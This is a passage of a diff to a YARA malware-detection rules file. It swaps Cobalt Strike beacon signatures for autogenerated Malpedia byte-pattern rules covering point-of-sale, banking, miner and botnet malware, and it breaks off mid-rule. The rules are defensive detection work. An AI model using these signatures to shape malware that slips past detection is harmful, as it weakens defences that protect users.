-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L739-L770"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "2428b93464585229fd234677627431cae09cfaeb1362fe4f648b8bee59d68f29"
-		logic_hash = "24ca0a9c2249d1872a53dc228234bdc6803bdfe9e80847995e0951184a8d935c"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "8a8bfe7b-07a3-507a-8985-62178b8d7d5d"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.abaddon_pos_auto.yar#L1-L170"
+		license_url = "N/A"
+		logic_hash = "e2d8547af0d263d117f46abc9755b5a7e9f77ec4346ade26de1285350cf4f083"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B FA 83 F8 50 0F 87 11 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 7402 eb27 8b8600010000 03860c010000 89867c010000 8b8684010000 }
+		$sequence_1 = { ba00000000 eb05 ba01000000 0186ac010000 }
+		$sequence_2 = { 80beb801000001 751b 80fa30 7205 80fa39 7605 80fa20 }
+		$sequence_3 = { 41 89c0 49 c7c100000000 ff15???????? 48 83c420 }
+		$sequence_4 = { 48 8986d0050000 48 83ec20 48 c7c100000000 }
+		$sequence_5 = { 89d8 69c080000000 3d002d0000 7602 eb22 }
+		$sequence_6 = { 7318 807c1e2c41 720c 807c1e2c5a }
+		$sequence_7 = { 81bea001000000dc0500 740c 81bea001000000d60600 7508 6a05 ff15???????? 8b86a0010000 }
+		$sequence_8 = { 31c9 31d2 80beb401000001 7505 }
+		$sequence_9 = { ffc3 ebd1 48 31db }
+		$sequence_10 = { 8986b0050000 48 83ec20 48 8b8eb0050000 48 }
+		$sequence_11 = { 0504d00700 48 8986c8050000 48 0504d00700 48 8986d0050000 }
+		$sequence_12 = { 83f800 7502 ebe4 50 ff15???????? 6a00 6a00 }
+		$sequence_13 = { 83c000 48 8b9eb8050000 48 8918 48 }
+		$sequence_14 = { 0500040000 3b19 730f 311418 }
+		$sequence_15 = { 720b 803939 7706 fe86a8010000 }
 
 	condition:
-		all of them
+		7 of them and filesize <40960
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_11_Bugfix_And_V3_12
+rule MALPEDIA_Win_Fobber_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.11-bugfix and 3.12"
-		author = "gssincla@google.com"
-		id = "08ff2a2f-97bd-5839-b414-d67fbf2cdb0f"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L772-L804"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "5912c96fffeabb2c5c5cdd4387cfbfafad5f2e995f310ace76ca3643b866e3aa"
-		logic_hash = "566eb14f918ad422d5a273390263e63ac37b00cd10ac3561e038fb1a27f85d80"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "ab54349a-7d99-57ef-92f9-d6c817ce7b6a"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fobber_auto.yar#L1-L175"
+		license_url = "N/A"
+		logic_hash = "16740b1e84557358ab17bd4ccf852daa4c4e1c0339646d5e9060d6d119fab8ab"
 		score = 75
-		quality = 85
-		tags = ""
-		rs2 = "4476a93abe48b7481c7b13dc912090b9476a2cdf46a1c4287b253098e3523192"
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B FA 83 F8 50 0F 87 0D 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 89e5 51 8b4510 8b5508 8b4d0c 3002 c0c803 }
+		$sequence_1 = { 89e5 6a00 ff750c ff7508 e8???????? }
+		$sequence_2 = { 89e5 31c0 50 50 ff750c ff7508 50 }
+		$sequence_3 = { 57 51 8b7d08 30c0 31c9 f7d1 fc }
+		$sequence_4 = { e303 4f 89f8 5f 59 }
+		$sequence_5 = { 8b750c 8b4d10 39f7 760e 8d0431 39f8 7607 }
+		$sequence_6 = { 660fc146f9 6685c0 7515 0fb646f8 50 0fb746f6 }
+		$sequence_7 = { 55 89e5 6800800000 6a00 }
+		$sequence_8 = { 750f 0fb703 83f861 0f8301fe0000 }
+		$sequence_9 = { 57 33714b 8aa07b74cafc 16 aa 5a }
+		$sequence_10 = { 7527 e8???????? 83c020 3bf0 0f8434510100 e8???????? }
+		$sequence_11 = { 000f 843d???????? 328801008bff 55 8bec ff7514 6a00 }
+		$sequence_12 = { c00f84 40 17 0100 8b4d08 83600400 }
+		$sequence_13 = { 7706 6205???????? 294a75 f2149c 7674 }
+		$sequence_14 = { e8???????? 85f6 0f84fd610100 8b45d4 }
+		$sequence_15 = { 7508 e8???????? 59 59 5d c3 53 }
 
 	condition:
-		all of them
+		7 of them and filesize <188416
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_13
+rule MALPEDIA_Win_Infy_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.13"
-		author = "gssincla@google.com"
-		id = "98dd32e6-9bb5-57b2-a5e5-1c74a0d1e6d3"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L806-L836"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "362119e3bce42e91cba662ea80f1a7957a5c2b1e92075a28352542f31ac46a0c"
-		logic_hash = "adafac8692ad676b0168b3e829bc7948db72953b95c79d483ae1a05f1d4f9b2b"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "57c24fda-e429-5a88-80d2-235251d4052e"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.infy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.infy_auto.yar#L1-L122"
+		license_url = "N/A"
+		logic_hash = "97f3b09f4f39ef998f79ec8093433c607a41cb99a12ab0573691bf5dec73bf57"
+		score = 60
+		quality = 45
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 4A 56 57 83 FA 5A 0F 87 2D 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 7e24 8945d4 807de300 7409 8b45e4 66833820 }
+		$sequence_1 = { 7409 8b13 8bc3 e8???????? 85c0 7405 83e804 }
+		$sequence_2 = { 57 33c9 894df8 8955f0 }
+		$sequence_3 = { 7553 837e1400 7442 837e1c00 }
+		$sequence_4 = { 668378f602 7412 6a00 89e0 }
+		$sequence_5 = { 68???????? 8d45c8 ba09000000 e8???????? 8d45ec }
+		$sequence_6 = { 807de300 7409 8b45e4 66833820 7304 33c0 eb02 }
+		$sequence_7 = { c1e002 034610 f6400380 0f94c2 83e201 8955e0 85d2 }
+		$sequence_8 = { e8???????? 8bd0 81e2ff000000 2500ff0000 c1e808 83fa05 7505 }
+		$sequence_9 = { e8???????? 83c40c 5b 5d c20800 55 8bec }
 
 	condition:
-		all of them
+		7 of them and filesize <147456
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_14
+rule MALPEDIA_Win_Unidentified_068_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.14"
-		author = "gssincla@google.com"
-		id = "00edfc72-c7b8-5100-8275-ae3548b96e49"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L838-L866"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "254c68a92a7108e8c411c7b5b87a2f14654cd9f1324b344f036f6d3b6c7accda"
-		logic_hash = "6faed2b69647b87d86d46ae73ad92cfe7b2746c306cd7480dc9f0c484c8882e2"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5159a6d8-1e34-506d-99d9-cd809f096743"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_068"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_068_auto.yar#L1-L133"
+		license_url = "N/A"
+		logic_hash = "89cc05fc50aa07230f88b9a05ad2adeb94c446a13f619795648893388c9d8285"
 		score = 75
-		quality = 85
-		tags = ""
-		rs2 = "87b3eb55a346b52fb42b140c03ac93fc82f5a7f80697801d3f05aea1ad236730"
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 83 FA 5B 77 15 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 75ee 394624 7417 50 8bce e8???????? }
+		$sequence_1 = { 43 8bc8 3bde 72e6 8b75e0 8b5df4 8b55f8 }
+		$sequence_2 = { 85ff 741b 8b4674 ff7514 8b0c98 83c118 e8???????? }
+		$sequence_3 = { 59 57 8bd8 c745fc04000000 8d45fc 50 53 }
+		$sequence_4 = { 7406 8b08 50 ff5108 885d94 895df0 8d4df0 }
+		$sequence_5 = { 8d5648 8d4d88 e8???????? 59 83781408 7202 8b00 }
+		$sequence_6 = { 660f13442450 8b4c2454 894c2458 8b4c2450 894c2450 8b4c2464 894c2428 }
+		$sequence_7 = { d1f9 6a41 5f 894df0 8b34cd18aa4400 8b4d08 6a5a }
+		$sequence_8 = { 72ba 33f6 81fb10000020 0f45f3 85f6 7523 33db }
+		$sequence_9 = { 8d4948 e8???????? 33c0 5d c20800 55 8bec }
 
 	condition:
-		all of them
+		7 of them and filesize <862208
 }
-rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_0_Suspected
+rule MALPEDIA_Win_Monero_Miner_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.0 (suspected, not confirmed)"
-		author = "gssincla@google.com"
-		id = "50ff6e44-ebc0-5000-a816-b385a6675768"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L868-L901"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "e2b2b72454776531bbc6a4a5dd579404250901557f887a6bccaee287ac71b248"
-		logic_hash = "6875099bc6df26f829f9f64e70bd7fdac6ac7b83a5596fc9359c127fef4e6db5"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "e4c7050e-9186-5f1e-9d47-976e6a4001a0"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.monero_miner_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "7e4796fa5a31551e9b057737783d58401a472a7bae7889a290c988c1aea0c1dd"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 51 4A 56 57 83 FA 62 0F 87 8F 03 00 00 FF 24 95 56 7B 00 10 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 0fb65508 034d04 035d00 01d0 e9???????? 0fb77508 034d04 }
+		$sequence_1 = { 8b842490000000 895f40 338424ac000000 8b9c2444010000 31cd 8b8c2440010000 31de }
+		$sequence_2 = { 8b442460 31f5 8bb42488000000 03742460 896c2438 89c5 897c243c }
+		$sequence_3 = { 8b4c2424 c7042400000000 89442404 8b442420 e8???????? 85c0 89c3 }
+		$sequence_4 = { 8b54245c 09ce 89b424f0010000 897738 89ac24f4010000 896f3c 0fa4c204 }
+		$sequence_5 = { 8d4c2427 89742414 895c240c 897c2408 c744240400000000 83e1f0 8b7de0 }
+		$sequence_6 = { 89bc24c0010000 89ac24c4010000 8bac24c8040000 036c2420 8b742460 8bbc24cc040000 137c2424 }
+		$sequence_7 = { c744240423000000 8b85c0040000 890424 e8???????? 85c0 7403 c60000 }
+		$sequence_8 = { e8???????? 8d4b50 8d5705 c7435c00000000 c7435800000000 c7435400000000 895350 }
+		$sequence_9 = { 8b8424b0010000 899424c4010000 8b9424b4010000 89ac24c0010000 01c1 89c5 11d3 }
 
 	condition:
-		all of them
+		7 of them and filesize <1425408
 }
-rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_1_And_V4_2
+rule MALPEDIA_Win_Lightlesscan_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.1 and 4.2"
-		author = "gssincla@google.com"
-		id = "793df916-bdf7-5743-b008-0113caf38bae"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L903-L934"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "daa42f4380cccf8729129768f3588bb98e4833b0c40ad0620bb575b5674d5fc3"
-		logic_hash = "7280a5c3f478ea40b6b72fb4669d5b8c21603e7fbfbc3815a83bc462ee19c0f5"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "0e07ce78-7b41-59eb-abf5-c61709c5b1e0"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightlesscan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lightlesscan_auto.yar#L1-L132"
+		license_url = "N/A"
+		logic_hash = "75c6d82588f11dc73e097a77d8f1194031d887782bbdd3a0785b555591ab1fe4"
 		score = 75
-		quality = 85
-		tags = ""
-		rs2 = "9de55f27224a4ddb6b2643224a5da9478999c7b2dea3a3d6b3e1808148012bcf"
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F2 83 F8 63 0F 87 3C 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { e8???????? 33db 48895c2460 488b4d70 4885c9 7405 e8???????? }
+		$sequence_1 = { b890100000 e8???????? 482be0 48c7442458feffffff 48899c24c8100000 4889b424d0100000 4889bc24d8100000 }
+		$sequence_2 = { 4863d8 e8???????? 488bd3 b940000000 ffd0 488d0deaa20300 c705????????01000000 }
+		$sequence_3 = { 488d0d50c00100 e8???????? 4983c8ff ba80000000 488905???????? 488d0da05d0500 4885c0 }
+		$sequence_4 = { 4881c440020000 5b f3c3 8815???????? 0100 a9150100c7 150100d615 }
+		$sequence_5 = { 498bcc e8???????? 488d1564b70500 41b804000000 498bcc e8???????? 488d1567b70500 }
+		$sequence_6 = { 4889442420 e8???????? eb0c 4c8d0d68440100 e8???????? 488d0d8cc10100 }
+		$sequence_7 = { 488d0d23b40600 ffd0 48833d????????00 7415 488d0db04a0300 e8???????? 488b0d???????? }
+		$sequence_8 = { 7506 ff15???????? 4489bc24f8000000 488b07 418bf7 0fb74814 }
+		$sequence_9 = { 488d4d30 33d2 41b801100000 e8???????? 33d2 41b8faff0000 488bce }
 
 	condition:
-		all of them
+		7 of them and filesize <1399808
 }
-rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_3_V4_4_V4_5_And_V4_6
+rule MALPEDIA_Win_Dmsniff_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.3 and 4.4"
-		author = "gssincla@google.com"
-		id = "976e087c-f371-5fc6-85f8-9c803a91f549"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L936-L967"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "51490c01c72c821f476727c26fbbc85bdbc41464f95b28cdc577e5701790845f"
-		logic_hash = "6608a84c4fd3bf77fd5b426da8be250d8b99878bd746fa23789f4791a164ce33"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "16f341e6-77a3-5816-ba96-baf125c04244"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dmsniff_auto.yar#L1-L124"
+		license_url = "N/A"
+		logic_hash = "97dafc3ba62eb5e1ea05a655f64eed9d043aae4b3733a53f196189f18ab4ea03"
 		score = 75
-		quality = 85
-		tags = ""
-		rs2 = "78a6fbefa677eeee29d1af4a294ee57319221b329a2fe254442f5708858b37dc"
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F2 83 F8 65 0F 87 47 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 83c661 89f3 881d???????? 8d04bf }
+		$sequence_1 = { 50 d93c24 66810c240003 d92c24 83c404 6a00 6a00 }
+		$sequence_2 = { 53 56 57 8b5d0c 8b7510 }
+		$sequence_3 = { 89fe 46 89b5fcfeffff 899cbd00ffffff 8d85f0feffff 50 6a00 }
+		$sequence_4 = { eb15 47 39f7 72d3 ff45fc 8b45f4 3945fc }
+		$sequence_5 = { 56 57 8965e8 50 d93c24 }
+		$sequence_6 = { eb18 68???????? e8???????? 50 68???????? e8???????? 83c40c }
+		$sequence_7 = { e8???????? 50 68???????? e8???????? 83c40c eb18 }
+		$sequence_8 = { e8???????? 83c40c eb18 68???????? e8???????? 50 }
+		$sequence_9 = { 7316 8bbdfcfeffff 89fe 46 89b5fcfeffff 899cbd00ffffff }
 
 	condition:
-		all of them
+		7 of them and filesize <131072
 }
-rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_7_Suspected
+rule MALPEDIA_Win_Latentbot_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.7 (suspected, not confirmed)"
-		author = "gssincla@google.com"
-		id = "4b6f90dd-69f3-5555-9195-6a0aed0fff58"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L969-L1002"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "da9e91b3d8df3d53425dd298778782be3bdcda40037bd5c92928395153160549"
-		logic_hash = "297ff7c3acfe6f9676dc6c265c548f017f39ccc5217617344e3bccc704ac4c78"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "02ad78f6-9191-5ecc-84c6-a6e6dbb03fa8"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.latentbot_auto.yar#L1-L126"
+		license_url = "N/A"
+		logic_hash = "efd4cdc341dd3e728319b10f2fc1071c2f12b6836d6f2ac31876c93b1c888c11"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 53 56 48 57 8B F2 83 F8 67 0F 87 5E 03 00 00  }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 48 89742430 4c 892424 4c 8b6118 44 }
+		$sequence_1 = { 833a00 7410 49 8b0a }
+		$sequence_2 = { 90 0fb7c0 8d68bf 6683fd19 7703 83c020 0fb7c0 }
+		$sequence_3 = { c16d5008 836d5808 888c3020290000 eb12 8b4554 8a00 8b4d4c }
+		$sequence_4 = { 59 6a46 eb05 6a30 59 6a39 58 }
+		$sequence_5 = { 33c9 03f0 13ca 33c0 0375f8 }
+		$sequence_6 = { 56 0fb730 6683fe41 720c 6683fe5a 7706 83c620 }
+		$sequence_7 = { 837d4c00 8b5d68 0f8408030000 c70624000000 e9???????? }
+		$sequence_8 = { 33c9 51 890e 8bdc 52 6a40 }
+		$sequence_9 = { 8d45cf 897e04 8bd1 2bc1 881c10 4a 75fa }
 
 	condition:
-		all of them
+		7 of them and filesize <401408
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_2
+rule MALPEDIA_Win_Matrix_Banker_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.2"
-		author = "gssincla@google.com"
-		id = "61188243-0b90-5bff-bcc8-50f10ed941f6"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1029-L1068"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "5993a027f301f37f3236551e6ded520e96872723a91042bfc54775dcb34c94a1"
-		logic_hash = "3803aaac537aec0b188870177e510a3789a71c19be576569b59aa146b2ba62c5"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5e463068-e12b-5f8d-ab9f-c81457da2c25"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.matrix_banker_auto.yar#L1-L118"
+		license_url = "N/A"
+		logic_hash = "8e0666cd40465e0b5fba82c6d7538e5812414aad17fe7eeb1cf9c0a79b729bb8"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 4C 8D 05 9F F8 FF FF 8B D3 48 8B CF E8 05 1A 00 00
-                     EB 0A 8B D3 48 8B CF E8 41 21 00 00 48 8B 5C 24 30
-                     48 83 C4 20 }
-		$decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 }
+		$sequence_0 = { eb0b 8d4abf 80f905 7703 }
+		$sequence_1 = { 8d489f 80f905 7704 04a9 eb0a 8d48bf }
+		$sequence_2 = { 8d4a9f 80f905 7705 80c2a9 eb0b }
+		$sequence_3 = { 7705 80c2a9 eb0b 8d4abf 80f905 7703 80c2c9 }
+		$sequence_4 = { 80f905 7702 04c9 8d4ad0 }
+		$sequence_5 = { 80c2a9 eb0b 8d4abf 80f905 7703 80c2c9 }
+		$sequence_6 = { ff15???????? e8???????? 85c0 740a e8???????? 83f8ff }
+		$sequence_7 = { eb18 8d4a9f 80f905 7705 80c2a9 }
+		$sequence_8 = { eb18 8d4a9f 80f905 7705 }
+		$sequence_9 = { 8d489f 80f905 7704 04a9 eb0a 8d48bf 80f905 }
 
 	condition:
-		all of them
+		7 of them and filesize <422912
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_3
+rule MALPEDIA_Elf_Bashlite_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.3"
-		author = "gssincla@google.com"
